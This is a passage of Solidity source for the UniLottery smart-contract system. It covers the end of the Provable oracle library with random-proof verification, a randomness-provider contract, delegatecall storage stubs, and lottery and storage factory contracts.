mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
provable_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function provable_randomDS_setCommitment(bytes32 _queryId, bytes32 _commitment) internal {
provable_randomDS_args[_queryId] = _commitment;
}
function verifySig(bytes32 _tosignh, bytes memory _dersig, bytes memory _pubkey) internal returns (bool _sigVerified) {
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4 + (uint(uint8(_dersig[3])) - 0x20);
sigr_ = copyBytes(_dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(_dersig, offset + (uint(uint8(_dersig[offset - 1])) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(_tosignh, 27, sigr, sigs);
if (address(uint160(uint256(keccak256(_pubkey)))) == signer) {
return true;
} else {
(sigok, signer) = safer_ecrecover(_tosignh, 28, sigr, sigs);
return (address(uint160(uint256(keccak256(_pubkey)))) == signer);
}
}
function provable_randomDS_proofVerify__sessionKeyValidity(bytes memory _proof, uint _sig2offset) internal returns (bool _proofVerified) {
bool sigok;
// Random DS Proof Step 6: Verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(uint8(_proof[_sig2offset + 1])) + 2);
copyBytes(_proof, _sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(_proof, 3 + 1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1 + 65 + 32);
tosign2[0] = byte(uint8(1)); //role
copyBytes(_proof, _sig2offset - 65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (!sigok) {
return false;
}
// Random DS Proof Step 7: Verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1 + 65);
tosign3[0] = 0xFE;
copyBytes(_proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(uint8(_proof[3 + 65 + 1])) + 2);
copyBytes(_proof, 3 + 65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
function provable_randomDS_proofVerify__returnCode(bytes32 _queryId, string memory _result, bytes memory _proof) internal returns (uint8 _returnCode) {
// Random DS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L") || (_proof[1] != "P") || (uint8(_proof[2]) != uint8(1))) {
return 1;
}
bool proofVerified = provable_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), provable_getNetworkName());
if (!proofVerified) {
return 2;
}
return 0;
}
function matchBytes32Prefix(bytes32 _content, bytes memory _prefix, uint _nRandomBytes) internal pure returns (bool _matchesPrefix) {
bool match_ = true;
require(_prefix.length == _nRandomBytes);
for (uint256 i = 0; i< _nRandomBytes; i++) {
if (_content[i] != _prefix[i]) {
match_ = false;
}
}
return match_;
}
function provable_randomDS_proofVerify__main(bytes memory _proof, bytes32 _queryId, bytes memory _result, string memory _contextName) internal returns (bool _proofVerified) {
// Random DS Proof Step 2: The unique keyhash has to match with the sha256 of (context name + _queryId)
uint ledgerProofLength = 3 + 65 + (uint(uint8(_proof[3 + 65 + 1])) + 2) + 32;
bytes memory keyhash = new bytes(32);
copyBytes(_proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(_contextName, _queryId)))))) {
return false;
}
bytes memory sig1 = new bytes(uint(uint8(_proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1])) + 2);
copyBytes(_proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0);
// Random DS Proof Step 3: We assume sig1 is valid (it will be verified during step 5) and we verify if '_result' is the _prefix of sha256(sig1)
if (!matchBytes32Prefix(sha256(sig1), _result, uint(uint8(_proof[ledgerProofLength + 32 + 8])))) {
return false;
}
// Random DS Proof Step 4: Commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8 + 1 + 32);
copyBytes(_proof, ledgerProofLength + 32, 8 + 1 + 32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65;
copyBytes(_proof, sig2offset - 64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (provable_randomDS_args[_queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))) { //unonce, nbytes and sessionKeyHash match
delete provable_randomDS_args[_queryId];
} else return false;
// Random DS Proof Step 5: Validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32 + 8 + 1 + 32);
copyBytes(_proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) {
return false;
}
// Verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (!provable_randomDS_sessionKeysHashVerified[sessionPubkeyHash]) {
provable_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = provable_randomDS_proofVerify__sessionKeyValidity(_proof, sig2offset);
}
return provable_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
/*
The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
*/
function copyBytes(bytes memory _from, uint _fromOffset, uint _length, bytes memory _to, uint _toOffset) internal pure returns (bytes memory _copiedBytes) {
uint minLength = _length + _toOffset;
require(_to.length >= minLength); // Buffer too small. Should be a better way?
uint i = 32 + _fromOffset; // NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint j = 32 + _toOffset;
while (i < (32 + _fromOffset + _length)) {
assembly {
let tmp := mload(add(_from, i))
mstore(add(_to, j), tmp)
}
i += 32;
j += 32;
}
return _to;
}
/*
The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
Duplicate Solidity's ecrecover, but catching the CALL return value
*/
function safer_ecrecover(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal returns (bool _success, address _recoveredAddress) {
/*
We do our own memory management here. Solidity uses memory offset
0x40 to store the current end of memory. We write past it (as
writes are memory extensions), but don't update the offset so
Solidity will reuse it. The memory used here is only needed for
this context.
FIXME: inline assembly can't access return values
*/
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, _hash)
mstore(add(size, 32), _v)
mstore(add(size, 64), _r)
mstore(add(size, 96), _s)
ret := call(3000, 1, 0, size, 128, size, 32) // NOTE: we can reuse the request memory because we deal with the return code.
addr := mload(size)
}
return (ret, addr);
}
/*
The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
*/
function ecrecovery(bytes32 _hash, bytes memory _sig) internal returns (bool _success, address _recoveredAddress) {
bytes32 r;
bytes32 s;
uint8 v;
if (_sig.length != 65) {
return (false, address(0));
}
/*
The signature format is a compact form of:
{bytes32 r}{bytes32 s}{uint8 v}
Compact means, uint8 is not padded to 32 bytes.
*/
assembly {
r := mload(add(_sig, 32))
s := mload(add(_sig, 64))
/*
Here we are loading the last 32 bytes. We exploit the fact that
'mload' will pad with zeroes if we overread.
There is no 'mload8' to do this, but that would be nicer.
*/
v := byte(0, mload(add(_sig, 96)))
/*
Alternative solution:
'byte' is not working due to the Solidity parser, so lets
use the second best option, 'and'
v := and(mload(add(_sig, 65)), 255)
*/
}
/*
albeit non-transactional signatures are not specified by the YP, one would expect it
to match the YP range of [27, 28]
geth uses [0, 1] and some clients have followed. This might change, see:
https://github.com/ethereum/go-ethereum/issues/2053
*/
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (false, address(0));
}
return safer_ecrecover(_hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
/*assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize(), sub(msize(), fmem))
}*/
}
}
// </provableAPI>
//
// Import Provable base API contract.
// ------------ TESTING ENVIRONMENT ------------ //
// As Provable services are not available in private testnets,
// we need to simulate Provable offchain services behavior
// locally, by calling the TEST_executeRequest() function from
// local web3 Provable emulator.
/*abstract contract usingProvable
{
// Ledger proof type constant.
uint constant proofType_Ledger = 1;
// Default gas price. TODO: don't use this, get from Provable.
uint public TEST_DEFAULT_GAS_PRICE = 20 * (10 ** 9); // 20 GWei
// Number of requests processed since the deployment.
// Also used as an ID for next request.
uint TEST_requestCount = 1;
// TEST-ONLY Provable function stub-plementations.
// Return Local Provable Emulator address (on our Ganache network).
function provable_cbAddress()
internal pure
returns( address )
{
return address( 0x3EA4e2F6922FCAd09C08413cB7E1E7B786030657 );
}
function provable_setProof( uint ) internal pure {}
function provable_getPrice(
string memory datasource, uint gasLimit )
internal view
returns( uint totalPrice )
{
return TEST_DEFAULT_GAS_PRICE * gasLimit;
}
function provable_query(
uint timeout, string memory datasource,
string memory query, uint gasLimit )
internal
returns( bytes32 queryId )
{
return bytes32( TEST_requestCount++ );
}
function provable_newRandomDSQuery( uint delay,
uint numBytes, uint gasLimit )
internal
returns( bytes32 queryId )
{
return bytes32( TEST_requestCount++ );
}
function provable_randomDS_proofVerify__returnCode(
bytes32 _queryId, string memory _result,
bytes memory _proof )
internal pure
returns( uint )
{
// Proof is always valid.
return 0;
}
// Set custom gas price.
function provable_setCustomGasPrice( uint _gasPrice )
internal
{
TEST_DEFAULT_GAS_PRICE = _gasPrice;
}
// Provable's default callback.
function __callback(
bytes32 _queryId,
string memory _result,
bytes memory _proof )
public
virtual ;
}*/
// ------------ [ END ] TESTING ENVIRONMENT [ END ] ------------ //
// Main UniLottery Pool Interface.
interface IMainUniLotteryPool {
function isLotteryOngoing( address lotAddr )
external view returns( bool );
function scheduledCallback( uint256 requestID )
external;
function onLotteryCallbackPriceExceedingGivenFunds(
address lottery, uint currentRequestPrice,
uint poolGivenPastRequestPrice )
external returns( bool );
}
// Lottery Interface.
interface ILottery {
function finish_randomnessProviderCallback(
uint256 randomSeed, uint256 requestID ) external;
}
/**
* This is the Randomness Provider contract, which is being used
* by the UniLottery Lottery contract instances, and by the
* Main UniLottery Pool.
*
* This is the wrapper contract over the Provable (Oraclize) oracle
* service, which is being used to obtain true random seeds, and
* to schedule function callbacks.
*
* This contract is being used in these cases:
*
* 1. Lottery instance requests a random seed, to be used when choosing
* winners in the Winner Selection Algorithm, on the lottery's ending.
*
* 2. Main UniLottery Pool is using this contract as a scheduler, to
* schedule the next AutoLottery start on specific time interval.
*
* This contract is using Provable services to accompish these goals,
* and that means that this contract must pay the gas costs and fees
* from it's own balance.
*
* So, in order to use it, the Main Pool must transfer enough Ether
* to this contract's address, to cover all fees which Provable
* services will charge for request & callback execution.
*/
contract UniLotteryRandomnessProvider is usingProvable
{
// =============== E-Vent Section =============== //
// New Lottery Random Seed Request made.
event LotteryRandomSeedRequested(
uint id,
address lotteryAddress,
uint gasLimit,
uint totalEtherGiven
);
// Random seed obtained, and callback successfully completed.
event LotteryRandomSeedCallbackCompleted(
uint id
);
// UniLottery Pool scheduled a call.
event PoolCallbackScheduled(
uint id,
address poolAddress,
uint timeout,
uint gasLimit,
uint totalEtherGiven
);
// Pool scheduled callback successfully completed.
event PoolCallbackCompleted(
uint id
);
// Ether transfered into fallback.
event EtherTransfered(
address sender,
uint value
);
// =============== Structs & Enums =============== //
// Enum - type of the request.
enum RequestType {
LOTTERY_RANDOM_SEED,
POOL_SCHEDULED_CALLBACK
}
// Call Request Structure.
struct CallRequestData
{
// -------- Slot -------- //
// The ID of the request.
uint256 requestID;
// -------- Slot -------- //
// Requester address. Can be pool, or an ongoing lottery.
address requesterAddress;
// The Type of request (Random Seed or Pool Scheduled Callback).
RequestType reqType;
}
// Lottery request config - specifies gas limits that must
// be used for that specific lottery's callback.
// Must be set separately from CallRequest, because gas required
// is specified and funds are transfered by The Pool, before starting
// a lottery, and when that lottery ends, it just calls us, expecting
// it's gas cost funds to be already sent to us.
struct LotteryGasConfig
{
// -------- Slot -------- //
// The total ether funds that the pool has transfered to
// our contract for execution of this lottery's callback.
uint160 etherFundsTransferedForGas;
// The gas limit provided for that callback.
uint64 gasLimit;
}
// =============== State Variables =============== //
// -------- Slot -------- //
// Mapping of all currently pending or on-process requests
// from their Query IDs.
mapping( uint256 => CallRequestData ) pendingRequests;
// -------- Slot -------- //
// A mapping of Pool-specified-before-their-start lottery addresses,
// to their corresponding Gas Configs, which will be used for
// their end callbacks.
mapping( address => LotteryGasConfig ) lotteryGasConfigs;
// -------- Slot -------- //
// The Pool's address. We receive funds from it, and use it
// to check whether the requests are coming from ongoing lotteries.
address payable poolAddress;
// ============ Private/Internal Functions ============ //
// Pool-Only modifier.
modifier poolOnly
{
require( msg.sender == poolAddress/*,
"Function can only be called by the Main Pool!" */);
_;
}
// Ongoing Lottery Only modifier.
// Data must be fetch'd from the Pool.
modifier ongoingLotteryOnly
{
require( IMainUniLotteryPool( poolAddress )
.isLotteryOngoing( msg.sender )/*,
"Function can be called only by ongoing lotteries!" */);
_;
}
// ================= Public Functions ================= //
/**
* Constructor.
* Here, we specify the Provable proof type, to use for
* Random Datasource queries.
*/
constructor()
{
// Set the Provable proof type for Random Queries - Ledger.
provable_setProof( proofType_Ledger );
}
/**
* Initialization function.
* Called by the Pool, on Pool's constructor, to initialize this
* randomness provider.
*/
function initialize() external
{
// Check if we were'nt initialized yet (pool address not set yet).
require( poolAddress == address( 0 )/*,
"Contract is already initialized!" */);
poolAddress = msg.sender;
}
/**
* The Payable Fallback function.
* This function is used by the Pool, to transfer the required
* funds to us, to be able to pay for Provable gas & fees.
*/
receive () external payable
{
emit EtherTransfered( msg.sender, msg.value );
}
/**
* Get the total Ether price for a request to specific
* datasource with specific gas limit.
* It just calls the Provable's internal getPrice function.
*/
// Random datasource.
function getPriceForRandomnessCallback( uint gasLimit )
external
returns( uint totalEtherPrice )
{
return provable_getPrice( "random", gasLimit );
}
// URL datasource (for callback scheduling).
function getPriceForScheduledCallback( uint gasLimit )
external
returns( uint totalEtherPrice )
{
return provable_getPrice( "URL", gasLimit );
}
/**
* Set the gas limit which should be used by the lottery deployed
* on address "lotteryAddr", when that lottery finishes and
* requests us to call it's ending callback with random seed
* provided.
* Also, specify the amount of Ether that the pool has transfered
* to us for the execution of this lottery's callback.
*/
function setLotteryCallbackGas(
address lotteryAddr,
uint64 callbackGasLimit,
uint160 totalEtherTransferedForThisOne )
external
poolOnly
{
LotteryGasConfig memory gasConfig;
gasConfig.gasLimit = callbackGasLimit;
gasConfig.etherFundsTransferedForGas = totalEtherTransferedForThisOne;
// Set the mapping entry for this lottery address.
lotteryGasConfigs[ lotteryAddr ] = gasConfig;
}
/**
* The Provable Callback, which will get called from Off-Chain
* Provable service, when it completes execution of our request,
* made before previously with provable_query variant.
*
* Here, we can perform 2 different tasks, based on request type
* (we get the CallRequestData from the ID passed by Provable).
*
* The different tasks are:
* 1. Pass Random Seed to Lottery Ending Callback.
* 2. Call a Pool's Scheduled Callback.
*/
function __callback(
bytes32 _queryId,
string memory _result,
bytes memory _proof )
public
override
{
// Check that the sender is Provable Services.
require( msg.sender == provable_cbAddress() );
// Get the Request Data storage pointer, and check if it's Set.
CallRequestData storage reqData =
pendingRequests[ uint256( _queryId ) ];
require( reqData.requestID != 0/*,
"Invalid Request Data structure (Response is Invalid)!" */);
// Check the Request Type - if it's a lottery asking for a
// random seed, or a Pool asking to call it's scheduled callback.
if( reqData.reqType == RequestType.LOTTERY_RANDOM_SEED )
{
// It's a lottery asking for a random seed.
// Check if Proof is valid, using the Base Contract's built-in
// checking functionality.
require( provable_randomDS_proofVerify__returnCode(
_queryId, _result, _proof ) == 0/*,
"Random Datasource Proof Verification has FAILED!" */);
// Get the Random Number by keccak'ing the random bytes passed.
uint256 randomNumber = uint256(
keccak256( abi.encodePacked( _result ) ) );
// Pass this Random Number as a Seed to the requesting lottery!
ILottery( reqData.requesterAddress )
.finish_randomnessProviderCallback(
randomNumber, uint( _queryId ) );
// Emit appropriate events.
emit LotteryRandomSeedCallbackCompleted( uint( _queryId ) );
}
// It's a pool, asking to call it's callback, that it scheduled
// to get called in some time before.
else if( reqData.reqType == RequestType.POOL_SCHEDULED_CALLBACK )
{
IMainUniLotteryPool( poolAddress )
.scheduledCallback( uint( _queryId ) );
// Emit appropriate events.
emit PoolCallbackCompleted( uint( _queryId ) );
}
// We're finished! Remove the request data from the pending
// requests mapping.
delete pendingRequests[ uint256( _queryId ) ];
}
/**
* This is the function through which the Lottery requests a
* Random Seed for it's ending callback.
* The gas funds needed for that callback's execution were already
* transfered to us from The Pool, at the moment the Pool created
* and deployed that lottery.
* The gas specifications are set in the LotteryGasConfig of that
* specific lottery.
* TODO: Also set the custom gas price.
*/
function requestRandomSeedForLotteryFinish()
external
ongoingLotteryOnly
returns( uint256 requestId )
{
// Check if gas limit (amount of gas) for this lottery was set.
require( lotteryGasConfigs[ msg.sender ].gasLimit != 0/*,
"Gas limit for this lottery was not set!" */);
// Check if the currently estimated price for this request
// is not higher than the one that the pool transfered funds for.
uint transactionPrice = provable_getPrice( "random",
lotteryGasConfigs[ msg.sender ].gasLimit );
if( transactionPrice >
lotteryGasConfigs[ msg.sender ].etherFundsTransferedForGas )
{
// If our balance is enough to execute the transaction, then
// ask pool if it agrees that we execute this transaction
// with higher price than pool has given funds to us for.
if( address(this).balance >= transactionPrice )
{
bool response = IMainUniLotteryPool( poolAddress )
.onLotteryCallbackPriceExceedingGivenFunds(
msg.sender,
transactionPrice,
lotteryGasConfigs[msg.sender].etherFundsTransferedForGas
);
require( response/*, "Pool has denied the request!" */);
}
// If price absolutely exceeds our contract's balance:
else {
require( false/*, "Request price exceeds contract's balance!" */);
}
}
// Set the Provable Query parameters.
// Execute the query as soon as possible.
uint256 QUERY_EXECUTION_DELAY = 0;
// Set the gas amount to the previously specified gas limit.
uint256 GAS_FOR_CALLBACK = lotteryGasConfigs[ msg.sender ].gasLimit;
// Request 8 random bytes (that's enough randomness with keccak).
uint256 NUM_RANDOM_BYTES_REQUESTED = 8;
// Execute the Provable Query!
uint256 queryId = uint256( provable_newRandomDSQuery(
QUERY_EXECUTION_DELAY,
NUM_RANDOM_BYTES_REQUESTED,
GAS_FOR_CALLBACK
) );
// Populate & Add the pending requests mapping entry.
CallRequestData memory requestData;
requestData.requestID = queryId;
requestData.reqType = RequestType.LOTTERY_RANDOM_SEED;
requestData.requesterAddress = msg.sender;
pendingRequests[ queryId ] = requestData;
// Emit an event - lottery just requested a random seed.
emit LotteryRandomSeedRequested(
queryId, msg.sender,
lotteryGasConfigs[ msg.sender ].gasLimit,
lotteryGasConfigs[ msg.sender ].etherFundsTransferedForGas
);
// Remove the just-used Lottery Gas Configs mapping entry.
delete lotteryGasConfigs[ msg.sender ];
// Return the ID of the query.
return queryId;
}
/**
* Schedule a call for the pool, using specified amount of gas,
* and executing after specified amount of time.
* Accomplished using an empty URL query, and setting execution
* delay to the specified timeout.
* On execution, __callback() calls the Pool's scheduledCallback()
* function.
*
* @param timeout - how much time to delay the execution of callback.
* @param gasLimit - gas limit to use for the callback's execution.
* @param etherFundsTransferedForGas - how much Ether has the Pool
* transfered to our contract before calling this function,
* to be used only for this operation.
*/
function schedulePoolCallback(
uint timeout,
uint gasLimit,
uint etherFundsTransferedForGas )
external
poolOnly
returns( uint256 requestId )
{
// Price exceeding transfered funds doesn't need to be checked
// here, because pool transfers required funds just before
// calling this function, so price can't change between transfer
// and this function's call.
// Execute the query on specified timeout, with a
// specified Gas Limit.
uint queryId = uint(
provable_query( timeout, "URL", "", gasLimit )
);
// Populate & Add the pending requests mapping entry.
CallRequestData memory requestData;
requestData.requestID = queryId;
requestData.reqType = RequestType.POOL_SCHEDULED_CALLBACK;
requestData.requesterAddress = msg.sender;
pendingRequests[ queryId ] = requestData;
// Emit an event - lottery just requested a random seed.
emit PoolCallbackScheduled( queryId, poolAddress, timeout, gasLimit,
etherFundsTransferedForGas );
// Return a query ID.
return queryId;
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Sends the specified amount of Ether back to the Pool.
* WARNING: Future Provable requests might fail due to insufficient
* funds! No checks are made to ensure sufficiency.
*/
function sendFundsToPool( uint etherAmount )
external
poolOnly
{
poolAddress.transfer( etherAmount );
}
/**
* Set the gas price to be used for future Provable queries.
* Used to change the default gas in times of congested networks.
*/
function setGasPrice( uint _gasPrice )
external
poolOnly
{
// Limit gas price to 600 GWei.
require( _gasPrice <= 600 * (10 ** 9)/*,
"Specified gas price is higher than 600 GWei !" */);
provable_setCustomGasPrice( _gasPrice );
}
}
//
/**
* This is a storage-stub contract of the Lottery Token, which contains
* only the state (storage) of a Lottery Token, and delegates all logic
* to the actual code implementation.
* This approach is very gas-efficient for deploying new lotteries.
*/
contract LotteryStub {
// ============ ERC20 token contract's storage ============ //
// ------- Slot ------- //
// Balances of token holders.
mapping (address => uint256) private _balances;
// ------- Slot ------- //
// Allowances of spenders for a specific token owner.
mapping (address => mapping (address => uint256)) private _allowances;
// ------- Slot ------- //
// Total supply of the token.
uint256 private _totalSupply;
// ============== Lottery contract's storage ============== //
// ------- Initial Slots ------- //
// The config which is passed to constructor.
Lottery.LotteryConfig internal cfg;
// ------- Slot ------- //
// The Lottery Storage contract, which stores all holder data,
// such as scores, referral tree data, etc.
LotteryStorage /*public*/ lotStorage;
// ------- Slot ------- //
// Pool address. Set on constructor from msg.sender.
address payable /*public*/ poolAddress;
// ------- Slot ------- //
// Randomness Provider address.
address /*public*/ randomnessProvider;
// ------- Slot ------- //
// Exchange address. In Uniswap mode, it's the Uniswap liquidity
// pair's address, where trades execute.
address /*public*/ exchangeAddress;
// Start date.
uint32 /*public*/ startDate;
// Completion (Mining Phase End) date.
uint32 /*public*/ completionDate;
// The date when Randomness Provider was called, requesting a
// random seed for the lottery finish.
// Also, when this variable becomes Non-Zero, it indicates that we're
// on Ending Stage Part One: waiting for the random seed.
uint32 finish_timeRandomSeedRequested;
// ------- Slot ------- //
// WETH address. Set by calling Router's getter, on constructor.
address WETHaddress;
// Is the WETH first or second token in our Uniswap Pair?
bool uniswap_ethFirst;
// If we are, or were before, on finishing stage, this is the
// probability of lottery going to Ending Stage on this transaction.
uint32 finishProbablity;
// Re-Entrancy Lock (Mutex).
// We protect for reentrancy in the Fund Transfer functions.
bool reEntrancyMutexLocked;
// On which stage we are currently.
uint8 /*public*/ lotteryStage;
// Indicator for whether the lottery fund gains have passed a
// minimum fund gain requirement.
// After that time point (when this bool is set), the token sells
// which could drop the fund value below the requirement, would
// be denied.
bool fundGainRequirementReached;
// The current step of the Mining Stage.
uint16 miningStep;
// If we're currently on Special Transfer Mode - that is, we allow
// direct transfers between parties even in NON-ACTIVE state.
bool specialTransferModeEnabled;
// ------- Slot ------- //
// Per-Transaction Pseudo-Random hash value (transferHashValue).
// This value is computed on every token transfer, by keccak'ing
// the last (current) transferHashValue, msg.sender, block.timestamp, and
// transaction count.
//
// This is used on Finishing Stage, as a pseudo-random number,
// which is used to check if we should end the lottery (move to
// Ending Stage).
uint256 transferHashValue;
// ------- Slot ------- //
// On lottery end, get & store the lottery total ETH return
// (including initial funds), and profit amount.
uint128 /*public*/ ending_totalReturn;
uint128 /*public*/ ending_profitAmount;
// ------- Slot ------- //
// The mapping that contains TRUE for addresses that already claimed
// their lottery winner prizes.
// Used only in COMPLETION, on claimWinnerPrize(), to check if
// msg.sender has already claimed his prize.
mapping( address => bool ) /*public*/ prizeClaimersAddresses;
// =================== OUR CONTRACT'S OWN STORAGE =================== //
// The address of the delegate contract, containing actual logic.
address payable public __delegateContract;
// =================== Functions =================== //
// Constructor.
// Just set the delegate's address.
function stub_construct( address payable _delegateAddr )
external
{
require( __delegateContract == address(0) );
__delegateContract = _delegateAddr;
}
// Fallback payable function, which delegates any call to our
// contract, into the delegate contract.
fallback()
external payable
{
// DelegateCall the delegate code contract.
( bool success, bytes memory data ) =
__delegateContract.delegatecall( msg.data );
// Use inline assembly to be able to return value from the fallback.
// (by default, returning a value from fallback is not possible,
// but it's still possible to manually copy data to the
// return buffer.
assembly
{
// delegatecall returns 0 (false) on error.
// Add 32 bytes to "data" pointer, because first slot (32 bytes)
// contains the length, and we use return value's length
// from returndatasize() opcode.
switch success
case 0 { revert( add( data, 32 ), returndatasize() ) }
default { return( add( data, 32 ), returndatasize() ) }
}
}
// Receive ether function.
receive() external payable
{ }
}
/**
* LotteryStorage contract's storage-stub.
* Uses delagate calls to execute actual code on this contract's behalf.
*/
contract LotteryStorageStub {
// =============== LotteryStorage contract's storage ================ //
// --------- Slot --------- //
// The Lottery address that this storage belongs to.
// Is set by the "initialize()", called by corresponding Lottery.
address lottery;
// The Random Seed, that was passed to us from Randomness Provider,
// or generated alternatively.
uint64 randomSeed;
// The actual number of winners that there will be. Set after
// completing the Winner Selection Algorithm.
uint16 numberOfWinners;
// Bool indicating if Winner Selection Algorithm has been executed.
bool algorithmCompleted;
// --------- Slot --------- //
// Winner Algorithm config. Specified in Initialization().
LotteryStorage.WinnerAlgorithmConfig algConfig;
// --------- Slot --------- //
// The Min-Max holder score storage.
LotteryStorage.MinMaxHolderScores minMaxScores;
// --------- Slot --------- //
// Array of holders.
address[] /*public*/ holders;
// --------- Slot --------- //
// Holder array indexes mapping, for O(1) array element access.
mapping( address => uint ) holderIndexes;
// --------- Slot --------- //
// Mapping of holder data.
mapping( address => LotteryStorage.HolderData ) /*public*/ holderData;
// --------- Slot --------- //
// Mapping of referral IDs to addresses of holders who generated
// those IDs.
mapping( uint256 => address ) referrers;
// --------- Slot --------- //
// The array of final-sorted winners (set after Winner Selection
// Algorithm completes), that contains the winners' indexes
// in the "holders" array, to save space.
//
// Notice that by using uint16, we can fit 16 items into one slot!
// So, if there are 160 winners, we only take up 10 slots, so
// only 20,000 * 10 = 200,000 gas gets consumed!
//
LotteryStorage.WinnerIndexStruct[] sortedWinnerIndexes;
// =================== OUR CONTRACT'S OWN STORAGE =================== //
// The address of the delegate contract, containing actual logic.
address public __delegateContract;
// =================== Functions =================== //
// Constructor.
// Just set the delegate's address.
function stub_construct( address _delegateAddr )
external
{
require( __delegateContract == address(0) );
__delegateContract = _delegateAddr;
}
// Fallback function, which delegates any call to our
// contract, into the delegate contract.
fallback()
external
{
// DelegateCall the delegate code contract.
( bool success, bytes memory data ) =
__delegateContract.delegatecall( msg.data );
// Use inline assembly to be able to return value from the fallback.
// (by default, returning a value from fallback is not possible,
// but it's still possible to manually copy data to the
// return buffer.
assembly
{
// delegatecall returns 0 (false) on error.
// Add 32 bytes to "data" pointer, because first slot (32 bytes)
// contains the length, and we use return value's length
// from returndatasize() opcode.
switch success
case 0 { revert( add( data, 32 ), returndatasize() ) }
default { return( add( data, 32 ), returndatasize() ) }
}
}
}
//
/**
* The Factory contract, used to deploy new Lottery Storage contracts.
* Every Lottery must have exactly one Storage, which is used by the
* main Lottery token contract, to store holder data, and on ending, to
* execute the winner selection and prize distribution -
* these operations are done in LotteryStorage contract functions.
*/
contract UniLotteryStorageFactory {
// The Pool Address.
address payable poolAddress;
// The Delegate Logic contract, containing all code for
// all LotteryStorage contracts to be deployed.
address immutable public delegateContract;
// Pool-Only modifier.
modifier poolOnly
{
require( msg.sender == poolAddress/*,
"Function can only be called by the Main Pool!" */);
_;
}
// Constructor.
// Deploy the Delegate Contract here.
//
constructor()
{
delegateContract = address( new LotteryStorage() );
}
// Initialization function.
// Set the poolAddress as msg.sender, and lock it.
function initialize()
external
{
require( poolAddress == address( 0 )/*,
"Initialization has already finished!" */);
// Set the Pool's Address.
poolAddress = msg.sender;
}
/**
* Deploy a new Lottery Storage Stub, to be used by it's corresponding
* Lottery Stub, which will be created later, passing this Storage
* we create here.
* @return newStorage - the Lottery Storage Stub contract just deployed.
*/
function createNewStorage()
public
poolOnly
returns( address newStorage )
{
LotteryStorageStub stub = new LotteryStorageStub();
stub.stub_construct( delegateContract );
return address( stub );
}
}
//
/**
* Little contract to use in testing environments, to get the
* ABIEncoderV2-encoded js object representing LotteryConfig.
*/
contract UniLotteryConfigGenerator {
function getConfig()
external pure
returns( Lottery.LotteryConfig memory cfg )
{
cfg.initialFunds = 10 ether;
}
}
/**
* This is the Lottery Factory contract, which is used as an intermediate
* for deploying new lotteries from the UniLottery main pool.
*
* This pattern was chosen to avoid the code bloat of the Main Pool
* contract - this way, the "new Lottery()" huge bloat statements would
* be executed in this Factory, not in the Main Pool.
* So, the Main Pool would stay in the 24 kB size limit.
*
* The only drawback, is that 2 contracts would need to be manually
* deployed at the start - firstly, this Factory, and secondly, the
* Main Pool, passing this Factory instance's address to it's constructor.
*
* The deployment sequence should go like this:
* 1. Deploy UniLotteryLotteryFactory.
* 2. Deploy MainUniLotteryPool, passing instance address from step (1)
* to it's constructor.
* 3. [internal operation] MainUniLotteryPool's constructor calls
* the initialize() function of the Factory instance it got,
* and the Factory instance sets it's pool address and locks it
* with initializationFinished boolean.
*/
contract UniLotteryLotteryFactory {
// Uniswap Router address on this network - passed to Lotteries on
// construction.
//ddress payable immutable uniRouterAddress;
